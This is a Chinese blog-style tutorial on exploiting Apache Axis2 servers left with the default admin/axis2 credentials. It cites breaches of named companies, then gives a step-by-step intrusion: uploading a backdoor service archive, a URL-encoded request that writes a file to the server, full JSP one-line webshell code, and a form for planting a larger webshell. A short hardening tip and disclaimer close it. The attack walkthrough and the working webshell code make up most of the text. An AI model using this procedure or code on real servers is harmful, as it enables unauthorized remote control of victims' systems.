近期,在乌云上关注了几则利用Axis2默认口令进行***测试的案例,大家的***思路基本一致,利用的技术工具也大致相同,我在总结这几则案例的基础之上进行了技术思路的拓展。


乌云Axis2默认口令安全弱点利用案例:

航空安全之四川航空某系统漏洞导致Getshell(影响内网60多台主机安全\目测已被其他人***过)

乐信通某服务器axis2服务存在弱口令可上传webshell(root权限)

×××网Web-services(axis2)系统任意代码执行


工具准备:

  1. Axis2利用工具包: cat.arr

    cat.arr工具说明与下载参见大牛“PHP to Java”的博客http://javaweb.org/?p=1548


  2. JSP一句话***

    服务器端一句话***代码:

    <%
    if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath(“\\”)+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes());
    %>


    客户端提交代码:

    <form action=”http://10.x.x.x:8080/axis2/一句话***.jsp?f=大***.jsp” method=”post”>
    <textarea name=t cols=120 rows=10 width=45>your code</textarea><BR><center><br>
    <input type=submit value=”提交”>
    </form>


  3. JSP大马

    大马我就不发布出来了。


  4. URL编码工具

    我用的是小葵转码,也可以利用网上在线的转码工具


***流程:

第一步,确认目标WebService网站后台URL地址。

我在本地搭建的后台地址为  http://10.10.10.138:8080/axis2/axis2-admin/ , 按照webservice的部署经验,直接部署在根目录下的网站也比较多,则后台地址多为  http://*.*.*:8080/axis2-web/ 。点击Administration 进入Axis2后台登录界面,输入默认口令admin/axis2,若口令没有被更改则可成功进入后台管理界面。wKioL1bWtLyQRfLlAAH3i3n3zwQ584.jpg

wKiom1bWtN-y-PLAAAHhXk1sCvQ506.jpg

wKiom1bWtbGB2DZgAALNV1eXEuY737.jpg第二步,点击左侧“Upload Service”上传cat.arr,这个arr包实际上是个中马,我们主要利用这个网马的获取web应用路径、写入文件这两个功能。

cat工具上传成功之后,点击左侧“Available Service”可以看到上传的service项“Cat”。

在客户端利用这个网马的getClassPath功能获取当前应用路径

http://10.10.10.137:8080/axis2/services/Cat/getClassPath    

wKiom1bWvVSTrEPSAAFMaaNWPTU920.jpg利用文件写入功能往获取的web应用路径下写入服务器端JSP一句话***,注意此处需要将一句话***代码先转码成URL编码,另外在URL中添加内容的时候注意不准换行,复制黏贴时要特别注意。

http://10.10.10.137:8080/axis2/services/Cat/writeStringToFile?data=%253C%25if%28request.getParameter%28%25E2%2580%259Cf%25E2%2580%259D%29!%3Dnull%29%28new%2520java.io.Fil&file=/C:/Program%20Files/Apache%20Software%20Foundation/Tomcat%207.0/webapps/axis2/1.jsp&encoding=utf-8&append=false

wKiom1bWvrTRTP-wAAElw4UtVK0568.jpg

第三步,利用JSP一句话***的客户端提交代码写入JSP大马。在提交表单中填入JSP大马代码,点击提交即可。此处注意自行修改客户端提交代码中的JSP一句话***文件路径以及要写入的JSP大马文件名。


wKiom1bWv87BVXSBAADq9h42qiE546.jpg第四步,访问上传的大马,即可获得web应用服务器控制权限。

wKiom1bWwaejpBGDAAPV62V2aZE162.jpg


安全加固方法:

修改Axis2默认账户名与口令,具体位置在axis2中的conf.xml文档中,修改如下两行代码。

 <parameter name="userName">admin</parameter>

 <parameter name="password">axis2</parameter>


【后记】:写本篇文章主要是想说明Axis2默认账户口令的危害,希望大家不要滥用文章中涉及到的***技术,共同建立一个良好的信息安全环境。